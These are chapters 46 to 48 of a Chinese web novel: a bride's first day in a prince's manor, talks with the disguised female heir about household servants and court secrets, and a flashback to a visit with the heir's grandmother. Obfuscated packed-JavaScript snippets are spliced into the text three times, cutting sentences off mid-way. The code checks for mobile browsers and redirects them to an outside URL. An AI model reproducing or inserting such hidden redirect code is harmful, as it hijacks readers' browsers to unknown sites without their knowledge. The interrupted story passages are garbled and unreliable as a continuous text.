陆云逸在外间榻上躺下。隔着一道珠帘,里间红帐垂着,越心睡意很沉。红烛烧着,蜡泪顺着烛身往下淌,凝成一圈一圈。窗外风吹过,廊下灯笼晃了几下,影子从门缝里移进来,又移出去。 陆云逸闭上眼。 酒意像潮水一样涌上来,她很快睡沉。 第二日,越心先醒。 她睁眼时,屋里已经透进晨光。红帐、喜字、香囊、合卺杯,全都陌生,又全都真切。她坐起身,先愣了片刻,随后抬手摸了摸自己的发髻,发现昨夜睡相乱七八糟,忍住笑。 外间传来呼吸声。 越心掀开珠帘,看见陆云逸睡在榻上。 她身上盖着薄被,头发散了一些,脸色带着宿醉后的白,半张脸埋在枕侧,脸上漏出难得的懒倦。 越心戳了戳陆云逸,陆云逸动也未动。 “睡得跟猪一样。”越心小声嘀咕。 陆云逸仍在沉睡。 越心把滑到一旁的被角拉好,又顺手把桌上半碗凉透的醒酒汤端远些,然后推开门。 门外站着春杏和小满。春杏年长些,行礼周全;小满年纪小,眼睛亮,见了越心便忍着笑。 “世子妃醒了。”春杏道,“萍儿姑娘吩咐,先伺候世子妃洗漱。世子昨夜饮多了,叫他多睡会儿。” 越心笑道:“行,我看你家世子一时半会是不会醒的。” 越心坐到妆台前。 热帕子敷到脸上时,她舒服得眯了眯眼。有人替她拆下昨夜剩的发钗,有人拿梳子慢慢通发。春杏手巧,动作利落,问她喜欢高髻还是低髻。 越心想了想:“今日见府里人,稳重些吧。可也别梳得太老,我还年轻呢。” 小满差点笑出声。 春杏也忍着笑:“那奴婢给世子妃梳个圆髻,端正,也显精神。” “听你的。”越心看着铜镜里的自己,“你手艺好。” 梳妆后,早饭摆进来。 王府的早饭比越心想象中还细。鸡丝粥盛在白瓷碗里,旁边有银丝卷、虾仁豆腐、酱瓜、糖蒸酥酪、几样小菜,还有一碟切得整齐的蜜瓜。每一样分量都小,摆得讲究。 越心坐在桌前,看了一圈。 “这些都是给我的?” 春杏道:“世子妃先用。世子醒后另备。” 越心拿起勺子,先尝了一口鸡丝粥。粥熬得细,米粒开花,鸡汤香气淡淡的。她吃了几口,又尝了酥酪,眼睛一下亮了。 “这个好吃。” 小满忙道:“这是厨房一早备的。世子妃若喜欢,奴婢回头同厨房说。” 用完半碗粥,越心看着桌上一碟一碟的小菜,忽然停了筷子。 春杏以为菜不合口味,忙问:“世子妃,可是哪样不喜欢?” 越心摇头:“都好吃。” 她看了一眼站在旁边的春杏、小满,还有门边两个捧巾帕的小丫鬟。 “你们吃过了吗?” 春杏怔了一下。 小满也抬了抬眼,很快又低下去。 春杏笑道:“回世子妃,奴婢们伺候完主子再吃。” “那得什么时候?” “各院时辰有些差。早上主子们用过,厨房那边便给下人分饭。我们听雪斋这边,轮着去。” 越心心里有些变扭,沉默地吃完了早饭。 用完早饭,春杏问她可要出去走走。 越心想了一下陆云逸,说道:“先等等,等你家世子醒了。” 这一等,便等到日头升高。 越心起初坐在窗边喝茶,看院里丫鬟们撤昨夜的红盘。后来她翻了翻桌上的喜帖,又数了数盒子里的桂圆莲子,再后来实在坐得无聊,便去看陆云逸。 陆云逸仍睡着。 越心站在榻边,抱着手臂看她。 “咋这么能睡?” 她又回去坐了一会儿。小满送来一碟新切的梨,她吃了两块,越吃越闲。 快到午时,外头日光已经移到窗下。院里有人来问午饭摆在何处。越心终于忍住了半日的规矩,起身走到软榻边。 她先伸手戳了戳陆云逸的脸。 “喂。” 陆云逸动也未动。 越心凑近些:“陆云逸!” 这一次,榻上的人终于睁了眼。 她睁眼时还有些迷糊,眼底带着宿醉后的潮意。看清越心后,她眨了眨眼,声音带着刚醒的沙哑;“是你啊…你终于来了。” 46.杏衫催起午羹温 陆云逸看着眼前这张脸,似乎还在梦里。 越心已经换过衣裳。她穿着王府备下的浅杏色家常裙,头发梳成妇人髻,簪子也换成了玉的。昨夜那一身大红嫁衣压得人喘,今日这样站在榻前,整个人清亮了许多。只是她眉毛挑着,嘴角也抿着,一看便是憋了半上午的话。 陆云逸盯着她看了片刻,又翻个身准备继续睡过去。 越心气得亲手把陆云逸翻了过来;“快起来啊。” 陆云逸仍旧懒懒的躺在床上;“我昨天喝多了”。 “我知道你喝多了。”越心抱着手臂,站在榻边看她,“我早上醒来时,你睡着。我洗脸梳头时,你睡着。我吃早饭时,你睡着。现在外头人已经来我问午饭摆在哪里,你还躺着!” 陆云逸撑着手臂坐起来,宿酒让她动作慢了些。薄被从肩头滑下,露出里衣松开的领口。她抬手揉了揉额角,声音带着刚醒的哑:“已经要吃午饭了吗?” “是,快点起来。” 陆云逸笑出了声,笑到一半又按住额角:“头疼。” “活该!”越心嘴上这样说,手却伸到桌上,端起春杏早就备好的醒酒茶,递到她面前,“喝吧,你家里那个春杏给你做的。” 陆云逸看着那碗深褐色的茶,脸色微变。 越心立刻把碗往前送了送。 “别装可怜。” 陆云逸接过来,低头闻了一下。 “好苦。” “谁叫你昨天喝那么多?” 越心坐到旁边圆凳上,催她,“快点,一口气喝完。” 陆云逸认命似的把碗举起来,一口气灌了下去。 那股苦味从舌根一直冲到胃里。她放下碗,闭了闭眼,半晌才缓过来。 “行了,活过来了吧?” 陆云逸靠在榻边,闭上了眼睛:“还差一点。” “差什么?” “差一觉。” 越心气得差点把碗扔她脸上。 “你还睡?外头都要吃午饭了。春杏刚来问了两回饭摆哪里。我哪知道摆哪里?我刚进门,这么大屋子我都认不得路。你倒好,两眼一闭,啥也不关。” 陆云逸睁开眼,笑了一下。 “你早上吃过了?” “吃了。”越心说,“你家的饭真不错,就是吃饭时旁边一直站着人,我不习惯。” “不习惯也得慢慢习惯。” “是是是,陆小王爷。我来京城后可一直老老实实的。” 陆云逸看着她:“你做得很好。” 越心哼了一声:“我当然知道。但是我还是等不了你自己起床。” 她伸手去拉陆云逸的袖子。 “快起来。” 陆云逸顺着她的力道坐起来,抬手揉了揉额角。 越心看着她,忽然笑了。 陆云逸问:“又笑什么?” “笑你这副样子。”越心说,“昨晚我听外头人一口一个世子殿下,小王爷大喜,心里还想,你在这府里多有派头。结果今天睡了一上午不肯醒。” 越心站起身,往门边看了一眼,“快洗脸换衣。今天是不是还要去见你干妈?” 陆云逸一顿:“你还没见过呢?” “还没。”越心摇头,“婚前嬷嬷跟我说过,说王府里有位萍儿姑娘,是你干妈,从小照看你,在府里很有分量。她让我见了人恭敬些,也别太紧张。可她越这么说,我越紧张。” “我干妈人很好。” “哎呀,你们都这样说。可是做媳妇哪有不怕婆婆的,就算是干婆婆。” 陆云逸忍住笑,起身走到铜盆前洗脸。春杏听见动静,在门外轻声问是否进来伺候。陆云逸用帕子擦着脸,说道:“热水放下就行,你们在外头候着。” 春杏应声,带着小满进来放好水和干净衣裳,又退了出去。 越心看着她们关上门,回头说:“呦呦,王府小世子自己穿衣服。外头人知道吗?” 陆云逸笑了笑,低头把衣带系好。 等她收拾妥当,春杏才进来回话,说午饭已经摆在偏厅,萍儿姑娘在那边等着。 越心一听,背立刻挺直了些。 陆云逸看出来,低声说:“别怕。” 越心压着嗓子回她:“谁怕了?我这是端庄。” “端得住吗?” “看你表现。”越心跟在她身旁,“你要是再这样懒,我就端不住了。” 两人到了偏厅,萍儿已经在桌边坐着。 越心一进门,便看见她,于是赶忙行礼。 “干妈好。” 萍儿起身扶了她一下:“世子妃今日头一天进门,礼数慢慢来,别拘着。” 越心笑得乖巧:“知道了,干妈” 萍儿看着她,笑道:“这一声干妈叫的快。” 越心立刻顺杆往上爬:“嬷嬷教我叫萍儿姑娘,可我想了想,都拜过堂了,还姑娘姑娘地叫,显得我外道。殿下叫您干妈,我跟着叫,您若不嫌我脸皮厚,我就这样叫。” 萍儿被她说得笑了。 “脸皮厚些好。”她拉着越心坐下。 越心坐得规矩,手却在袖子里轻轻攥了一下。 她一早上装得镇定,可真见了萍儿,心里还是打鼓。 陆云逸在一旁坐下,懒懒地端起汤碗。 萍儿看她一眼:“还知道喝汤?” 陆云逸道:“知道。” “昨日叫你少喝,你怎么答的?” 陆云逸低头喝汤:“我说心里有数。” “你那点数,喝点酒就没了。”萍儿把醒酒的小汤往她面前推了推,“这个也喝了。” 陆云逸看着那碗汤,脸色又苦了些。 越心立刻低头夹菜,肩膀却抖了一下。 萍儿瞧见了,问:“笑什么?” 越心连忙抬头,一脸正经:“我没笑。我就是觉得干妈说话亲切。” 陆云逸看她:“你方才可不是这个脸。” 越心眨了眨眼:“殿下看错了。” 萍儿这回真笑出声来。 “你们两个啊,以后这府里可热闹了。” 萍儿给越心夹了一块鱼腹肉。 “尝尝这个。今日厨房做得清淡些,怕她宿酒难受。你若吃不惯,回头叫厨房给你另做。” 她尝了一口,眼睛亮了亮。 “好吃。鱼一点腥味都没有。” 萍儿道:“你从广陵来,那边鱼虾好,怕你吃不惯京里的呢。” “不会。”越心说完,又顿了一下,赶紧改口,“我的意思是,都挺好。” 陆云逸慢慢喝着汤,听她们说话,越心在人前收得住,还是嘴快,但已比在屋里稳了许多。 萍儿问她:“昨晚睡得好吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574035|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 越心夹菜的手停了一下,随后笑道:“睡得挺好。我以前只听人说成婚累,真轮到自己,才知道累在哪里。” 陆云逸低头咳了一声。 越心看都没看她,继续说道:“不过床太软,睡过去就醒得晚了。今早起来时,春杏她们已经在外头等着,我还吓了一跳。” 萍儿笑道:“慢慢就习惯了。” 越心乖巧道:“我学得快。” “看出来了。”萍儿说,“之前嬷嬷教你的礼,够用。剩下的日子里慢慢看。府里人多,你刚来,谁是谁也记不住。急着认,反而乱。” 越心松了口气。 “那我今日就跟着殿下。她走哪儿,我走哪儿。” 陆云逸抬眼:“我今日想歇着。” 越心立刻转头:“你还歇?” 萍儿放下筷子,看着陆云逸。 陆云逸默默把汤碗端了起来。 越心这才满意,继续吃饭。 一顿饭吃完,萍儿又吩咐春杏几句。 越心在旁边听着,一个劲点头。 萍儿看她点头点得勤,笑道:“你不用这样紧张。” 越心老实道:“我怕第一天就出错。” “出一点小错也无妨。”萍儿说,“这府里没人敢抓你的错。” 越心看了她一眼。 这句话倒叫她心里暖了些。 陆云逸在一旁说:“干妈说得算。” 越心立刻接话:“那我以后就抱干妈大腿。” 萍儿笑着摇头:“你倒会找靠山。” 越心说:“我从小就知道,出门在外,要先看谁说话管用。” 萍儿看着她,眼里那点笑意更深了些。 午饭后,萍儿去了前院。 陆云逸带着越心回了新房。门一关,越心脸上的笑就落下了一半。她先走到窗边,伸头往外看,又回到门边,把门缝瞧了瞧。 陆云逸坐在桌边倒茶:“看什么?” 越心压低声音:“这里说话安全吗?” “安全。” “你说安全就安全?”越心绕过屏风,看了看后头,又推了一下后门,“我现在可知道了,王府里到处都是人。万一墙根底下蹲着一个听墙角的呢?” “这里是我家,再不安全就没有安全的地方了。要不你再去看一下床底吧。” 越心真低头往榻底看了一眼。 陆云逸愣住。 越心看完才坐下:“行,先信你。” 陆云逸笑了:“你还真看。” “我惜命。”越心端起茶喝了一口,又立刻皱了皱脸,“你们到底为啥爱喝茶,这么苦。” “下次叫人换甜茶。” “别。”越心连忙摆手,“我刚来就挑茶,像什么样?我自己慢慢喝就是了。” 她说完,瞥了一眼门口,又把声音压低。 “我问你个事。” “问。” “你家为什么这么多下人?” 陆云逸看她。 越心皱着眉,说得很认真:“我以前听你讲那些话,说人不应该伺候别人。我还以为你家里会不一样。” 陆云逸垂眼,看着茶盏里的水纹。 越心接着道:“结果我来了才知道,王府比我见过的地方都讲究。你就住在这样的地方,跟我说等贵贱、均贫富?” 47.茶冷屏闲问旧因 陆云逸听完,倒没有急着辩解。 她把茶盏放在桌上,指尖轻轻沿着杯沿转了一圈,像真被越心问住了。 “那我该怎么办呢?”她抬眼看越心,“把他们都遣出府去?” 越心张了张嘴。 这话她方才问得急,心里也真有些别扭。可陆云逸这样一反问,她反倒答不上来。 她想了一会儿,皱着眉说:“我也说不准。” 陆云逸笑了一下。 越心瞪她:“你笑什么?我说不准也比你装作什么都明白强。” 陆云逸点头:“你说得对。” 越心被她这副好脾气弄得更没脾气,只能抱着胳膊坐回去。 陆云逸给她添了茶。 “你知道王府下人一个月月例多少吗?” 越心摇头。 “有高有低。管事、账房、厨房掌灶、马房老人,月例都不同。年轻丫鬟小厮少些,可也比外头许多人家稳定。还有些是家里几代在府里当差,父母在这里,孩子长大了也留下。王府有田庄,有厨房,有车马,有衣料,有柴炭。外头看着他们伺候主子,其实府里许多时候,都是自己供自己。” 越心听着,手指慢慢摩挲着茶盏。 陆云逸继续道:“我父王常在宫中,府里平日主子少。多数时候,也就是我和干妈住着。王府这些人每日要做的事,未必有你想的那样多。洒扫、采买、做饭、看门、照料花木、管库房、守夜。许多人愿意留下,是因为这里比外头安稳。” 越心道:“听着倒不错。” 越心想了许久,最后叹了一口气。 “好吧。你总能说出一堆道理。” “这回算道理,还是狡辩?” “都有。”越心很公道地说,“道理听着有,狡辩也有一点。” 陆云逸笑了。 越心却没跟着笑。她盯着陆云逸看了一会儿,忽然道:“你有这么多安排,这么多说法,可我到现在还不知道你到底要做什么。” 屋里静了下来。 窗外有人走过,脚步从廊下轻轻过去,很快远了。红绸影子落在窗纸上,被风吹得晃了一下。 陆云逸垂眼:“现在还不能全告诉你。” 越心立刻坐直。 “还不能?”她声音压低了些,却压不住气,“我人都嫁进来了,名分也担上了,你还跟我说不能?” “越心。” “你别这么叫我。”越心抬手打断她,“你一这样叫,我就知道你又要说一堆很难听懂的话。” 陆云逸忍着笑:“那我该怎么叫?” “叫世子妃。”越心说完,自己先觉得好笑,又强撑着板脸,“我现在可是世子妃。咱俩也算一根绳上的蚂蚱了。” “这话不吉利。” “那换个吉利的。”越心想了想,“一荣俱荣,一损俱损。这样成吗?” “成。” “既然一荣俱荣,一损俱损,你就该告诉我。你要是哪日出了事,我却什么都不知道,到时候怎么办?” 陆云逸看着她,忽然很认真地纠正:“在户籍和礼部册上,你我二人是夫妻。可昨日拜堂,高堂上坐的是我干妈。你也知道我的身份。这婚事在你心里,可以不算数。” 越心愣了一下。 随后她脸上的笑一点点收了。 “好,好得很。”她气得点头,“那你要是哪天死了,我怎么办?” 陆云逸道:“你若愿意,就留在明亲王府,做我的遗孀,一辈子衣食无忧。” 越心一时说不出话。 她像是被这话噎住了,过了好一会儿才道:“我说不过你。” 陆云逸看着她:“我说的是实话。” “我知道你说的是实话。”越心瞪她,“可这实话听着真叫人生气。” 她转过脸,喝了一口茶,又被苦得皱眉。她放下茶盏,缓了缓,才重新开口。 “行,你的那些秘密你就继续藏着把。那你总得告诉我,你在外头是怎么说我吧?我来京这些日子,一直都不敢乱说话了。嬷嬷问一句,我想半天,我怕我说一句,你那边编的是另一句。” 陆云逸脸色柔和下来。 “抱歉。” 越心一怔。 陆云逸说:“当年让你们等那么久,我该同你们多递些消息。只是书信容易落到旁人手里,越写越危险。让你一直等到今日,确实是我亏欠你。” 越心方才还憋着气,听见这句,气反倒散了一半。 她垂眼,用指甲轻轻刮了刮杯壁。 “我在广陵等你等得心慌。头一年,我觉得你大概快来了;第二年,我觉得你大概有事绊住;后来一久,我就想,你是不是死在外头了。” 陆云逸道:“我的命还算硬。” “你少贫。”越心抬头,“我问你,你怎么同旁人说我的?” 陆云逸道:“我同陛下说,在广陵时,你曾救助过我。你处事机灵,心地也好。我与日久相处,互相生了情意,所以求他赐婚。” 越心听得眼睛慢慢睁大。 “就这么说?” “明面上这么说。” “救助过你?”越心指着自己,又指陆云逸,“我救你?” “有何不可?” 越心想了想,忽然点头:“也行。这样听着显得我有本事。” 陆云逸笑了一下:“你本来就有本事。” 越心被这句夸得舒坦,嘴上却不肯认。 “少来。那你在京外做的那些事呢?” 陆云逸端起茶盏,慢慢喝了一口。 越心立刻盯住她:“又来了,喝茶拖时候。” 陆云逸把茶放下。 “我用了一个拙劣的法子。” “什么法子?” “装疯。” 越心愣住。 “什么?” 陆云逸看着她,一本正经地说:“装作自己游历时受了刺激,心神出了岔子。这样一来,许多说不清的痕迹,都有了一个能糊弄过去的说法。” 越心听得嘴巴微微张开。 “你可真敢想。” “没办法。” “你给我讲讲。”越心立刻来了兴致,“广陵那段你怎么编的?” 陆云逸便把那段故事简单讲了一遍。 她说自己在广陵遇见一个叫林鸯鸯的女子。那女子从青楼里出来,无处可去,她替她赎身,给她另立户籍,又开了一间绣坊。后来林鸯鸯遭人害死,她受了刺激,觉得那女子无处安身,便像留在了她心里。 越心起初听得认真。 听到“留在心里”时,她嘴角已经压不住了。再听陆云逸说太医如何问、她如何答,越心终于捂住嘴,肩膀抖得厉害。 陆云逸脸一板:“没良心,这么伤心的事,你也笑得出来?” 越心边笑边摆手。 “这个故事确实伤心,真的。”她好不容易止住一点,又忍不住,“可我作为亲历过的人,听你把事情编成这样,实在很难不笑。尤其什么留在心里……你讲的时候,脸上真能沉住?” 陆云逸道:“我讲得很伤心。” “你可太厉害了。”越心笑得眼角发湿,“我一直以为你聪明,没想到你聪明归聪明,编故事也有这么多漏风的地方。” 陆云逸道:“一个疯子若说出一套条理严密、前后无缝的话,反倒怪了。适当留些破绽,才像病。” 越心停住笑,想了想。 “这倒也有道理。” “而且,我也没指望让他们全信。”陆云逸道,“只要他们一时不好全盘推翻,就够了。” 越心看着她:“那你怎么保证那个太医会往离魂这条路上想?” 陆云逸说:“我在历下时,偶然遇见过一户颜姓人家。那家老夫人提起过,她家长子在宫中当太医,入的是祝由科,为人心思缜密。我记住了这件事。” 越心睁大眼:“你连这个也记?” “能用上的事,先记着。” “那万一来的太医不是他呢?” “祝由科人数少。陛下若要稳妥,必会挑一个嘴严、案底干净、又不太卷进宫中争斗的人。颜太医正合适。”陆云逸顿了顿,“我赌中了。” 越心看了她半天。 “你这人,嘴上说赌,听着一点也不像赌。” “赌也分大小。能先看牌,自然胜算高些。” 越心又想起一层,凑近了些。 “那要是皇帝在装信呢?” 陆云逸神色平静。 “也无碍。” “这还无碍?” “我做的那些事,明面上都能说成善举。”陆云逸道,“哪一件拿到律法上,都说不上罪。就算起疑,在他眼里,也只是我心软,好管闲事,结识了一些无足轻重的人。” 越心听着,眉头皱起来。 “可你真觉得皇帝会这样看你?” “眼下会。”陆云逸道。 “为什么?” “因为他也需要我。”陆云逸看向窗外。 越心不明白这话的意思,她搓了搓手臂,又问:“那还有多少人知道你是女的?你干妈知道吧?” “府里,父王知道,干妈知道,现在多了你。”陆云逸想了想,“整个京城里,或许还有陛下知道。” 越心差点从椅子上站起来。 “什么?皇帝知道?” “嗯。” “他知道你是女的?”越心压着声音,仍止不住惊,“那他怎么没杀你?” 陆云逸有些好笑:“杀我做什么?” “这算欺君吧?” “要看怎么说。” “这还要怎么看?”越心急得声音都快飘起来,又赶紧压低,“你从小以男儿身份活着。他若知道,还帮你瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她很好。” 越心看着她。 陆云逸接着道:“确切地说,你现在不能再说鸯鸯这个名字。她如今叫朱甜。” “朱甜……”越心轻轻念了一遍。 “嗯。她是朱家姑娘,是我母亲表妹的孙女。” 陆云逸声音压得更低。 “她已经进宫。如今是恬贵人。” 越心坐在那里,许久没动。 窗外的风从廊下过去,吹得红绸轻轻响。那点声响在屋里显得很清楚。 越心想起广陵旧日的屋子。想起林鸯鸯坐在灯下缝东西,低头时发簪总往下滑。想起她说话慢,性子稳,被人喊一声“鸯鸯”,总先抬眼看人一会儿,再答话。那样一个人,如今成了宫里的恬贵人。 “她真的进去了?”越心问。 “真的。” 过了一会儿,她说:“宫里那种地方,比王府还可怕吧?” 陆云逸道:“可怕得多。” “那她过得好吗?” “她过得很好,现在正是皇帝面前的宠妃。” 越心慢慢点头。 越心低头看着茶盏里的水,轻声说:“她胆子真大。” “她一直胆子大。” “你们胆子都大。”越心抬眼看陆云逸,“就我胆小。” 陆云逸笑了:“你还胆小?” “我当然胆小。”越心说,“我只是嘴上胆大。” 陆云逸看着她。 “嘴嘴上胆大也好。” 越心被她看得有些不自在,立刻站起来。 “少说这种话。你方才答应带我认地方。” 陆云逸也起身:“走吧。” 越心眼睛一亮:“先看哪里?” “先看听雪斋。” “厨房呢?” “可以看。” “书房呢?” “门口看。” 越心立刻不满:“为什么只能门口?” “里头文书多。” “你又有秘密。” 陆云逸笑着往外走:“等你认完人,再看。” 门外春杏听见动静,轻声问:“世子,世子妃,可要出门?” 越心立刻把脸上的神情收住,站直了些。 陆云逸侧头看她,低声道:“又端庄起来了?” 越心也压低声音回她:“废话。我等了这么多年,可不是进京来丢人的。” 48.祖榻炭温话旧姻 颜淞坐在听雪斋写下的故事像一串被人重新穿过的珠子,看着连贯,但少了许多原本颜色。 离京那年,陆云逸14岁,冬日还未走尽。 萍儿送她到王府侧门。 那时天还早,门前石狮子上结着薄霜。萍儿替她把披风带子系紧,又把一个小药囊塞进她袖中。 “路上少喝冷水。晚上住店,若屋里炭火烧得闷,就开一点窗。” 陆云逸点头。 “到历下,若方便,去朱家看看。”萍儿说,“你外祖母年岁大了。” 萍儿又看她一眼,声音低了些:“她惦记你。” “我会去。” 萍儿又看了她一会儿,像还有许多话要说。 最后她只是抬手,替陆云逸理了理鬓边被风吹乱的发。 “早些回来。” 陆云逸道:“干妈放心。” 她说完,翻身上马。 王府只在远处安排了两个远随,隔着路程照看。陆云逸心里明白,这是父亲能给她的最大自由。她从前出入宫门、王府、书房,处处有人跟着。此番离京,身边终于空了下来。 顺天城外的雪积在沟边,冻得发硬,车轮碾过,雪面发灰。城门口风大,吹得人的手指僵。陆云逸出城时穿一件青灰色厚披风,披风边缘压着细毛,挡风很好,只是骑在马上久了,寒气仍从靴底一点点钻上来。 她沿着官道往南走。 路上冷,风硬,行人裹着棉袄缩着脖子走。客栈里炭火贵,夜里烧一盆便要多加钱。陆云逸在店中听过几回商旅说话,说今年麦苗被冻坏了,说历下的泉水冬日也清,说某某县县令刚换。 历下城外多水。 冬水冷,水面上浮着薄薄白气。有人一早挑泉水进城,木桶在担子两头晃,走得稳,水却一点点溅出来,落在石板上很快结成细亮的冰。城门口卖炊饼的摊子挨着墙根,热气顺着笼屉往上冒,带着麦香。一个小孩穿着厚棉裤,手里攥着半块饼,跟在母亲身后跑,跑两步摔一跤,爬起来继续追。 陆云逸进城时,天色还早。 她寻人问路,往城南朱家去。 朱家宅子比她想象中热闹。 门前两棵老槐树,枝上叶子落尽,只剩黑褐色的枝桠伸向灰白天空。门房见了她递过去的帖子,起初还沉着,看清“明亲王府”几个字后,手一抖,脸上神色立刻变了。 “您……您是京里来的小王爷?” 陆云逸道:“劳烦通报一声,陆云逸来拜见外祖母。” 门房连连点头,转身便往里跑。 “京里小王爷到了!大姑奶奶家的小王爷到了!” 这一嗓子喊进去,朱家像被人敲响了一面铜锣。 先是前院有人应声,接着廊下脚步乱起来。有人问“到哪儿了”,有人说“快去老太太屋里说”,还有妇人压着声音骂小丫头:“跑慢点,仔细摔了茶盘!” 陆云逸站在门内,忽然有些不知所措。 她在宫里见人,各种规矩已经刻在骨里。可站在朱家门内,听见一大家子因为她来而忙起来,她竟一时连手该放在身前还是袖里都想了想。 片刻后,一个中年男子快步迎出来。 他五十多岁,身量很高,穿深青直裰,眉目端正,只是鬓边已有霜色。他走近了,先看陆云逸的脸,眼神在那一瞬间柔和下来。 “云逸?” 陆云逸行礼:“大舅。” 朱承礼连忙扶她:“自家人,行这样大的礼做什么。” 他说完,又像想起什么,手微微一顿,随即笑道:“我是你大舅朱承礼。你小时候,我去过王府一回。那时你才到我膝盖这么高。” 陆云逸笑了笑:“我记得大舅送过我一把小木剑。” 朱承礼眼里一亮:“你还记得?” “记得。剑柄上刻了一只兔子。” 院里随即传来一声笑。 “那兔子是我刻的。” 另一个男人从月洞门边走出来。他比朱承礼年轻几岁,脸上带着笑,步子也快,衣裳穿得齐整,袖口却沾了一点墨,大约方才正在书房写字。 “我说男孩舞剑也该有点喜气,你大舅偏说胡闹。”他看着陆云逸,“怎么样,兔子好看吧?” 陆云逸道:“好看。” 朱承义立刻转头:“听见没有?” 朱承礼懒得同他争,只对陆云逸说:“这是你二舅。” “二舅。” 朱承义上前扶她,仔仔细细看了半晌,忽然轻声道:“像。” 这一个字说出口,两位舅舅都安静了一瞬。 陆云逸知道,他说的是她母亲。 朱承义很快又笑起来:“先进屋。老太太听见你来了,怕是要从榻上下来。她老人家如今八十多,脾气还和年轻时一样,还总觉得自己能提着拐杖打我们。” 朱承礼道:“你少说两句。” “我说的是实话。”朱承义往里引路,“云逸难得来一回,总得知道家里谁说了算。” 朱家人丁兴旺。 陆云逸穿过前院时,廊下探出好几张脸。大的十七八岁,小的才五六岁。有年轻妇人拉着孩子,小姑娘躲在门柱后偷偷看她,还有个半大男孩小声问旁边人:“他是咱们表兄,还是堂兄?” 旁边姐姐小声回他:“按辈分,我们都该叫舅舅。” 男孩惊得嘴都张开了。 陆云逸恰好听见,忍住笑。 她年纪虽小,辈分却大。朱家小辈见了她,一时叫表兄也顺口,叫舅舅也有理。几个孩子显然也被大人叮嘱过,此刻站在廊下,一个个又好奇又拘谨。 朱承义冲他们招手:“躲什么?过来见人。” 孩子们慢慢挪出来,乱七八糟地行礼。 “表兄好。” “小王爷好。” “舅……舅舅好。” 最后那一句叫得又小又别扭,院里几个大人都笑了。那男孩脸涨得通红,恨不得往姐姐身后躲。 陆云逸从袖中摸出几枚小银锞子,分给他们。 “按你们喜欢的叫。” 孩子们立刻高兴起来。 朱承礼想训一句,朱承义已经先笑道:“收着吧,辈分高的人给见面礼是应该的。” 朱承礼看他一眼:“你又占孩子便宜。” “我这是讲礼。” 说话间,便到了老太太住的后院。 屋中烧着炭,门帘一掀,暖气扑面而来。药香、檀香、棉被晒过后的气味混在一起,让人心里一下安静了些。 朱老太太坐在榻上。 她年纪很大,头发全白,脸上皱纹深,眼睛却还亮。身上盖着绛色薄毯,手边放着一串旧佛珠。两个丫鬟在旁边扶着,似乎刚劝过她别急着起身。 陆云逸走近,跪下行礼。 “外祖母。” 老太太听见这一声,眼睛立刻湿了。 她伸手摸陆云逸的脸。那只手枯瘦,却很暖,指腹在她眉眼上停了停。 “真像。”老太太说,“你这双眼睛,像你娘。” 屋里顿时静下来。 老太太却像等这一天等了太久,话一出口便收不住。 “你娘小时候,也是这么看人。心里明明有主意,脸上偏安安静静。” 朱承义站在一旁插嘴:“娘,珍珍小时候可不安静。她骂我时,隔壁院都能听见。” 老太太转头看他:“你少说两句。” 朱承义立刻闭嘴。 屋里人都笑了。 老太太又自顾自地说起来:“你娘啊,她年纪小的时候被送进宫,给棣贤公主做伴读。那时宫里来人,说是天大的体面。我那时也觉得体面,可车一走,我站在门口哭了半宿。” 陆云逸抬头看她。 朱承礼低声道:“娘,先让云逸起来。” 老太太这才反应过来,忙拉她:“起来,快起来。地上凉。你看我,都糊涂了。” 陆云逸坐到榻边的小杌上。 老太太握着她的手,反复看。 “手也凉。京里王府那么大,怎么把孩子养得这样凉?” 朱承义在旁边道:“娘,您这话要是叫明亲王听见,王爷怕是要冤。” 老太太瞪他:“他冤什么?珍珍嫁给他,跟着他到处跑,后来回来没几年就走了。我还说不得他两句?” 朱承义立刻闭嘴。 陆云逸心里一颤。 这话在外头无人敢说。明亲王陆棣铭在京中是皇帝亲弟,是手握大权的王爷。可在朱老太太嘴里,他只是那个带走她女儿的女婿。 老太太又看向陆云逸,声音缓了些。 “你娘是我头一个孩子。她小时候最爱吃枣糕,最怕被拘在屋里绣花,让她绣一朵花,她能把针线筐踢到榻底下。后来进宫,回来一次,规矩也多了些,可我看得出来,她心还在外头。” 她说到这里,眼睛红了,却还是笑着。 “她一辈子,回家的日子少。后来有了你,我想着,这孩子总该替她多回来看看。” 陆云逸轻声道:“以后我会常来。” 老太太点头,拍了拍她的手背。 “好,好。” 午饭摆在老太太院里的小花厅。 陆云逸一进去,便看见满满一桌人。 大舅母、二舅母,几位表兄表姐,还有一群按辈分该叫她舅舅的小辈。屋里炭火烧得旺,小孩子脸颊红扑扑的。桌上菜摆得多,鸡汤、酱肉、蒸鱼、泉水豆腐、炒冬笋,还有一大盘热枣糕。 老太太坐在上首,非要看着陆云逸坐到她身边。 “今日你就坐这儿。” 朱承礼道:“娘,云逸是客,照理该坐……” “照什么理?”老太太打断他,“到我这里,他就是珍珍的孩子。” 朱承礼只好笑着退下。 这一顿饭吃得热闹。 二舅母给陆云逸盛汤,大舅母给她夹鱼。老太太嫌她吃得少,隔一会儿便把菜往她碗里添。几个小辈偷偷看她,又怕长辈训,只能埋头扒饭。 陆云逸起先还按着先前吃饭的习惯,吃得慢,坐得端。后来碗里菜越堆越高,她终于有些招架不住。 朱承义看得笑:“娘,您再夹,云逸都吃不完了。” 老太太道:“他瘦。” 朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 